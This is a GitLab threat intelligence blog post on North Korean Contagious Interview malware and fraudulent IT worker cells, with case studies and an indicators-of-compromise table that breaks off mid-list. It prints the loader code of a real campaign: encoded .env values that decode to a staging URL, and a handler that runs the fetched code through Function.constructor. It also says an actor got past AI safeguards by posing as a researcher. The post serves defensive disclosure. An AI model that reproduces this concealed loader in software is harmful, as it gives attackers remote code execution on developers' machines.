[{"data":1,"prerenderedAt":828},["ShallowReactive",2],{"/en-us/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft":3,"navigation-en-us":37,"banner-en-us":458,"footer-en-us":468,"blog-post-authors-en-us-Oliver Smith":710,"blog-related-posts-en-us-gitlab-threat-intelligence-reveals-north-korean-tradecraft":726,"blog-promotions-en-us":766,"next-steps-en-us":818},{"id":4,"title":5,"authorSlugs":6,"authors":8,"body":10,"category":11,"categorySlug":11,"config":12,"content":16,"date":20,"description":17,"extension":24,"externalUrl":25,"featured":13,"heroImage":19,"isFeatured":13,"meta":26,"navigation":13,"path":27,"publishedDate":20,"rawbody":28,"seo":29,"slug":15,"stem":32,"tagSlugs":33,"tags":35,"template":14,"updatedDate":25,"__hash__":36},"blogPosts/en-us/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft.yml","GitLab Threat Intelligence Team reveals North Korean tradecraft",[7],"oliver-smith",[9],"Oliver Smith","We’re sharing intelligence on threat actors associated with North Korean Contagious Interview and IT worker campaigns to raise awareness of emerging trends in operations and tradecraft. We hope this analysis helps the broader security community defend against evolving threats and address the industry-wide challenge of threat actors using legitimate platforms and tools for their operations.\nPublishing this intelligence reflects our commitment to disrupting threat actor infrastructure. Our security team continuously monitors for accounts that violate our platform’s terms of use and maintains controls designed to prevent the creation of accounts from U.S.-embargoed countries in accordance with applicable trade control laws.\n\n**There is no action needed by GitLab customers and GitLab remains secure.**\n\n## Executive summary\n\n### What is Contagious Interview?\n\nSince at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.\n\n### About the report\nIn 2025, GitLab identified and banned accounts created by North Korean threat actors used for [Contagious Interview](https://attack.mitre.org/groups/G1052/). GitLab’s visibility into these actors' code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through [IT worker activity](https://www.fbi.gov/investigate/cyber/alerts/2025/north-korean-it-worker-threats-to-u-s-businesses).\n\nExposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.\n\nThis report contains a [Year in Review](#year-in-review) summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:\n\n* [Financial records](#case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records) maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025\n* [A synthetic identity creation pipeline](#case-study-2-synthetic-identity-creation-and-service-abuse-at-scale) used to create at least 135 personas, automated to generate professional connections and contact leads at scale\n* [A North Korean IT worker controlling 21 unique personas](#case-study-3-north-korean-operator-controlling-21-personas) and adding their own image to stolen U.S. identity documents\n* [A North Korean IT worker recruiting facilitators](#case-study-4-north-korean-fake-it-worker-operating-from-central-moscow) and working for U.S. organizations while operating from Moscow, Russia\n\nWe’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the [Appendix](#appendix-2-indicators-of-compromise).\n\n\n## Year in Review\n\nNorth Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.\n\n### Key findings\n\nHere are our key findings, including 2025 campaign trends and malicious code project features.\n\n#### 2025 campaign trends\n\nIn 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant [we identified](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/) in September.\n\nThreat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.\n\nIn more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.\n\n![Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/kgjafjsrhpczu00fjdwb.png \"Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.\")\n\nWe observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.\n\n\n![Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/p2gpkuvise7ftc5lr7pv.png \"Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.\")\n\n#### Malicious code project features\n\nThe most common execution pattern we observed in 2025 had the following features:\n\n* A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.\n* A trigger function intended to source remote content and raise an error.\n* A global invocation of the trigger function in a file executed as soon as the project is run.\n* A custom error handler intended to execute remote content from the trigger function by using `Function.constructor` to load a string as executable code.\n\n\n**Example excerpt from a .env file containing malicious encoded variables:**\n\n```shell\n# Runtime Configuration\nRUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw\nRUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy\nRUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0\n```\n\n**Decoded values from the .env file (defanged):**\n\n```shell\n# Runtime Configuration\nRUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823\nRUNTIME_CONFIG_ACCESS_KEY=x-secret-header\nRUNTIME_CONFIG_ACCESS_VALUE=secret\n```\n\n**Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler:**\n\n```javascript\nconst errorTimeHandler = async () => {\n  try {\n    const src = atob(process.env.RUNTIME_CONFIG_API_KEY);\n    const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);\n    const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);\n    try {\n      globalConfig = (await axios.get(`${src}`, {\n        headers: {\n          [k]: v\n        }\n      }));\n      log('Runtime config loaded successfully.');\n    } catch (error) {\n      errorHandler(error.response?.data || error.message);\n    }\n  } catch (err) {\n    await errorHandler(err.response?.data || err.message || err);\n  }\n};\n```\n\n**Example custom error handler intended to execute remote code:**\n\n```javascript\nconst errorHandler = (error) => {\n  try {\n    if (typeof error !== 'string') {\n      sss\n      console.error('Invalid error format. Expected a string.');\n      return;\n    }\n    const createHandler = (errCode) => {\n      try {\n        const handler = new(Function.constructor)('require', errCode);\n        return handler;\n      } catch (e) {\n        console.error('Failed:', e.message);\n        return null;\n      }\n    };\n    const handlerFunc = createHandler(error);\n    if (handlerFunc) {\n      handlerFunc(require);\n    } else {\n      console.error('Handler function is not available.');\n    }\n  } catch (globalError) {\n    console.error('Unexpected error inside errorHandler:', globalError.message);\n  }\n};\n```\n\nThe error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.\n\nThe extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.\n\n#### Other notable observations\n\nIn July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals' names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.\n\nIn September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.\n\nIn October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.\n\n### Implications\n\nNorth Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.\n\nWe observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.\n\n### Mitigation\n\nWe banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.\n\nWe improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.\n\n\n## Case studies\n\n### Case Study 1: North Korean IT Worker Cell Manager Financial and Administrative Records\n\n#### Summary\n\nWe identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.\n\n#### Key findings\n\nIn late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.\n\nWe assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member's workstation.\n\n![Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692342/zasqtzdr3xpq9wgqh6a1.png \"Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.\")\n\n\nPersonnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently `111.197.183.74`.\n\nDossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.\n\nFinancial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.\n\nSoftware development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.\n\n![Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692489/zetnsj3ufqqnlefbpwk0.png \"Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.\")\n\n\n![Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692675/ghr0pg1hrtu109hk2xes.png \"Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.\")\n\n\nThe project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.\n\n![Screenshot of presentation showing cell performance data for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692846/kepq0zhevybpfrdnkg3t.png \"Screenshot of presentation showing cell performance data for Q3 2025.\")\n\n\n![Screenshot of presentation showing cell member performance relative to goals for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692964/mwsgg1hs3zqgddibaxsy.png \"Screenshot of presentation showing cell member performance relative to goals for Q3 2025.\")\n\n\n![Screenshot of presentation showing cell performance data by month for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693162/eilplgjpnrlh1mln1l67.png \"Screenshot of presentation showing cell performance data by month for Q3 2025.\")\n\nWe aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.\n\n![Actual and target cell earnings over time, 2022 to 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693321/e4okiye7ucr0gge28wle.png \"Actual and target cell earnings over time, 2022 to 2025.\")\n\nWe assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.\n\nThe private project also contained performance reviews for cell members, dated 2020. These performance reviews confirm that the cell is physically colocated and include commentary about cell members’:\n\n- Earnings contribution and mutual skills development.\n- Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.\n- Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.\n- Interpersonal values and adherence to party values.\n\nThese reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.\n\n![Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694080/cxenda3rxohgwbbrddz2.png \"Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.\")\n\n#### Implications\n\nThis activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.\n\nThe declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.\n\n#### Mitigations\n\nWe banned accounts related to this activity.\n\n\n### Case Study 2: Synthetic Identity Creation and Service Abuse at Scale\n\n#### Summary\n\nWe identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.\n\n#### Key findings\n\nWe identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.\n\nThe threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:\n\n1. Scrape photographs from social media, AI image generators, and other platforms.\n\n2. Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.\n\n3. Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service [disrupted by U.S. authorities in August 2025](https://www.justice.gov/usao-nm/pr/us-government-seizes-online-marketplaces-selling-fraudulent-identity-documents-used). Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.\n\n4. Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.\n\n5. Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.\n\nThe threat actor’s tooling to interact with abused services was brokered through a control node hosted at `185.92.220.208`. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.\n\nThe threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.\n\nThe threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.\n\nAs of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.\n\n\n![Distribution of purported account origins](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694425/igefe8soxgg1gt2lfasy.png)\n\n\n\n![Distribution of identity verification results](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694350/liucfviexwkxy028ysyf.png)\n\nThe threat actor also created a set of command line tools for standardized Git operations.  The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.\n\n#### Implications\n\nThis cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.\n\nIdentity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.\n\n#### Mitigations\n\nWe banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.\n\n\n### Case Study 3: North Korean Operator Controlling 21 Personas\n\n#### Summary\n\nWe identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.\n\n#### Key findings\n\nWe identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.\n\nThe threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.\n\n![Doctored U.S. identity documents containing the threat actor’s photograph.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694685/rof3zsajd7asn8lcq0oc.png \"Doctored U.S. identity documents containing the threat actor’s photograph.\")\n\nThe threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.\n\n#### Implications\n\nThis threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.\n\n#### Mitigation\n\nWe banned the account associated with this operator.\n\n\n### Case Study 4: North Korean Fake IT Worker Operating from Central Moscow\n\n#### Summary\n\nWe identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.\n\n#### Key findings\n\nWe identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025\\. We identified the project within a week of its creation, however the threat actor's records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.\n\nRepository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.\n\nIn early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.\n\nIn April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.\n\n![Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694925/spifmjjmsbod8nczsi6n.png \"Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.\")\n\nThe threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at `55°43'44.4\"N 37°36'55.8\"E`, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.\n\n![Map depicting the location stored in EXIF metadata on images of the threat actor. ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769695036/cjv9evwdxwxonpdgvko9.png \"Map depicting the location stored in EXIF metadata on images of the threat actor.\")\n\nThe threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.\n\n#### Implications\n\nThis incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.\n\nThis incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.\n\n#### Mitigations\n\nWe banned the account associated with this activity.\n\n*Saksham Anand contributed to this report.*\n\n## Appendix 1: GitLab Threat Intelligence Estimative Language\n\nWe use specific language to convey the estimated probability attached to assessments. We also use words including \"possible\" and \"may\" in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available [here](https://www.cia.gov/resources/csi/static/Words-of-Estimative-Probability.pdf).\n\n| Estimative Term | Almost Certainly Not | Highly Unlikely | Unlikely | Real Chance | Likely | Highly Likely  | Almost Certain |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| Probability Range | 0 - 10% | 10 - 25% | 25 - 40% | 40 - 60% | 60 - 75% | 75 - 90% | 90 - 100% |\n\n\n## Appendix 2: Indicators of Compromise\n\nWe recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.\n\n| Indicator | Type | Risk | First Seen | Last Seen | Comment | Case Study |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| `aleks.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `aleksander.malinowski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `anatol.baranski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `anton.plonski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `ben.moore0622@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `edward.harley@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `iwan.banicki@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `johnwilson0825@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `kevin.brock@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `richard.francis10@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| 